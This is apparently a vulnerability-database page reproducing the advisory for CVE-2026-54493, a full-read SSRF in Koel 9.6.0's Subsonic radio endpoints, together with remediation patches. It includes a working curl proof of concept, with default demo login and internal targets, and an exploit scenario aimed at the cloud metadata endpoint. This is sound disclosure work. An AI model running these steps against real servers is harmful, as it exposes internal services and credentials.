Koel CVE-2026-54493
HIGHSeverity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Network-reachable Subsonic endpoint with a valid API key gives PR:L; low complexity; scope change since the server reaches other internal systems; full-read discloses internal data (C:H) with no integrity or availability impact.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
Koel v9.6.0 validates radio station URLs on the regular web API, but the Subsonic-compatible radio endpoints do not apply the same SSRF protections. An authenticated user can create or update a radio station with a private URL and then use Koel's radio streaming feature to make the server fetch that URL and return the upstream response body.
This was validated against v9.6.0 (352ea5ec27fa22294da8fb6beacb3d5552f0d09c) using the official phanan/koel:9.6.0 image.
Details
SafeUrl is applied on the web API, but not on the Subsonic endpoints
Koel's regular radio API protects station URLs with SafeUrl and HasAudioContentType:
app/Http/Requests/API/Radio/RadioStationStoreRequest.phpapp/Http/Requests/API/Radio/RadioStationUpdateRequest.php
new SafeUrl(),
new HasAudioContentType(),The Subsonic-compatible routes do not reuse those checks:
routes/subsonic.phpcreateInternetRadioStation.viewupdateInternetRadioStation.viewapp/Http/Requests/Subsonic/CreateInternetRadioStationRequest.phpapp/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php
return [
'streamUrl' => ['required', 'string'],
'name' => ['required', 'string'],
'homepageUrl' => ['nullable', 'string'],
];The result is a validation gap between two routes that create the same type of object.
The unvalidated URL is stored and later fetched server-side
The Subsonic controllers hand the supplied URL to the regular radio service without any SSRF validation:
app/Http/Controllers/Subsonic/CreateInternetRadioStationController.phpapp/Http/Controllers/Subsonic/UpdateInternetRadioStationController.phpapp/Services/RadioService.php
The SSRF is triggered when the station is played:
app/Http/Controllers/StreamRadioController.phpapp/Services/Radio/RadioStreamService.phpapp/Services/Radio/RadioStreamProxy.php
RadioStreamProxy::openStream() opens a web address supplied by the attacker (attacker-controlled URL) without proper checks:
$stream = fopen($url, 'r', false, $context);The response body is returned to the attacker
If the upstream response is treated as a normal stream, Koel forwards it back to the client:
while (!feof($stream) && !connection_aborted()) {
echo fread($stream, 8192);
flush();
}That makes this a full-read SSRF rather than a blind SSRF. The attacker is not only limited to causing an internal request, but also they can read the HTTP response through /radio/stream/{id}.
This behavior also differs from the documented expectation in docs/usage/radio.md, which says Koel checks the URL when adding or editing a radio station.
PoC
The following steps were validated against the official phanan/koel:9.6.0 image.
- Authenticate and obtain an API token:
API_TOKEN=$(
curl -sS -X POST http://127.0.0.1:18081/api/me \
-H 'Content-Type: application/json' \
--data '{"email":"admin@koel.dev","password":"KoelIsCool"}' \
| python3 -c 'import json,sys; print(json.load(sys.stdin)["token"])'
)- Obtain the user's Subsonic API key:
SUBSONIC_KEY=$(
curl -sS http://127.0.0.1:18081/api/data \
-H "Authorization: Bearer $API_TOKEN" \
| python3 -c 'import json,sys; print(json.load(sys.stdin)["current_user"]["subsonic_api_key"])'
)- Prepare an internal-only target URL. In my validation, I used a host-side HTTP server reachable from the container through the Docker bridge:
TARGET_URL="http://172.17.0.1:18090/feed.xml"- Confirm the regular web API blocks the URL:
curl -i -X POST http://127.0.0.1:18081/api/radio/stations \
-H "Authorization: Bearer $API_TOKEN" \
-H 'Accept: application/json' \
-H 'Content-Type: application/json' \
--data "{\"name\":\"blocked\",\"url\":\"$TARGET_URL\"}"Expected result:
- HTTP
422 - Error includes
The url must point to a public URL.
- Create the same station through the Subsonic route:
curl -i -G http://127.0.0.1:18081/rest/createInternetRadioStation.view \
--data-urlencode "apiKey=$SUBSONIC_KEY" \
--data-urlencode 'f=json' \
--data-urlencode 'name=xmlpeek' \
--data-urlencode "streamUrl=$TARGET_URL"Expected result:
- HTTP
200 - JSON includes
"status":"ok"
- Resolve the station ID and stream it:
STATION_ID=$(
curl -sS "http://127.0.0.1:18081/rest/getInternetRadioStations.view?apiKey=$SUBSONIC_KEY&f=json" \
| python3 -c 'import json,sys; items=json.load(sys.stdin)["subsonic-response"]["internetRadioStations"]["internetRadioStation"]; print(next(x["id"] for x in items if x["name"]=="xmlpeek"))'
)
curl -i "http://127.0.0.1:18081/radio/stream/$STATION_ID?api_token=$API_TOKEN"Expected result:
- HTTP
200 - Response body contains the upstream content from the internal target URL
An authenticated user can abuse Koel as a full-read SSRF proxy to access internal HTTP services reachable from the Koel server.
Practical impact includes:
- Reading loopback-only, RFC1918, or Docker-bridge HTTP services
- Accessing internal admin panels, metrics services, or metadata endpoints that are not publicly exposed
- Performing internal HTTP reconnaissance and retrieving content through Koel itself
Since the response body is returned to the attacker, the impact is materially higher than a blind SSRF.
Remediation
The Subsonic request validators should apply the same URL validation as the main radio API, and the stream proxy should re-check the target before opening it.
Suggested patch for app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php:
diff --git a/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php b/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php
--- a/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php
+++ b/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php
@@
namespace App\Http\Requests\Subsonic;
use App\Http\Requests\Request;
+use App\Rules\HasAudioContentType;
+use App\Rules\SafeUrl;
@@
public function rules(): array
{
return [
- 'streamUrl' => ['required', 'string'],
+ 'streamUrl' => ['required', 'url', new SafeUrl(), new HasAudioContentType()],
'name' => ['required', 'string'],
'homepageUrl' => ['nullable', 'string'],
];
}
}Suggested patch for app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php:
diff --git a/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php b/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php
--- a/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php
+++ b/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php
@@
namespace App\Http\Requests\Subsonic;
use App\Http\Requests\Request;
+use App\Rules\HasAudioContentType;
+use App\Rules\SafeUrl;
@@
public function rules(): array
{
return [
'id' => ['required', 'string'],
- 'streamUrl' => ['required', 'string'],
+ 'streamUrl' => ['required', 'url', new SafeUrl(), new HasAudioContentType()],
'name' => ['required', 'string'],
'homepageUrl' => ['nullable', 'string'],
];
}
}Suggested defense-in-depth patch for app/Services/Radio/RadioStreamProxy.php:
diff --git a/app/Services/Radio/RadioStreamProxy.php b/app/Services/Radio/RadioStreamProxy.php
--- a/app/Services/Radio/RadioStreamProxy.php
+++ b/app/Services/Radio/RadioStreamProxy.php
@@
namespace App\Services\Radio;
+use App\Helpers\Network;
use App\Models\RadioStation;
class RadioStreamProxy
{
+ public function __construct(private readonly Network $network) {}
+
@@
public function openStream(string $url)
{
+ if (!$this->network->isSafeUrl($url)) {
+ return false;
+ }
+
$context = stream_context_create([
'http' => [
'header' => "Icy-MetaData: 1\r\n",
'timeout' => 5,
],AnalysisAI
{id}. Publicly available exploit code exists (a working PoC is published in the GHSA advisory), but it is not in CISA KEV and no active exploitation is identified.
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Requires a valid, authenticated Koel account with a Subsonic API key (PR:L) and reachability to the Subsonic REST endpoints. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The supplied CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N, 7.7 High) is internally consistent with the description: network-reachable, low complexity, requires a valid Subsonic API key (PR:L, authenticated), no user interaction, a scope change because the vulnerable component reaches other internal systems, and high confidentiality impact with no integrity or availability impact. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An authenticated Koel user (or anyone who can register where signup is open) retrieves their Subsonic API key, then calls /rest/createInternetRadioStation.view with streamUrl set to an internal target such as http://169.254.169.254/ or http://172.17.0.1:18090/feed.xml, bypassing the SafeUrl check the native API would apply. They look up the new station ID via getInternetRadioStations.view and request /radio/stream/{id}, and Koel fetches the internal URL and returns the upstream response body verbatim. … |
| Remediation | Vendor-released patch: upgrade to Koel 9.7.0, which adds SafeUrl and HasAudioContentType validation to the Subsonic CreateInternetRadioStationRequest/UpdateInternetRadioStationRequest (and SafeUrl to the podcast channel request) and adds a defense-in-depth Network::isSafeUrl() check inside RadioStreamProxy::openStream() so an unsafe URL returns false before fopen() runs (see PR https://github.com/koel/koel/pull/2545 and commit https://github.com/koel/koel/commit/1331f335342b405e60ffabdd60f1f398508f996f). … Detailed patch versions, workarounds, and compensating controls in full report. |
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External POC / Exploit Code
Leaving vuln.today
GHSA-6p96-cfg5-4vhp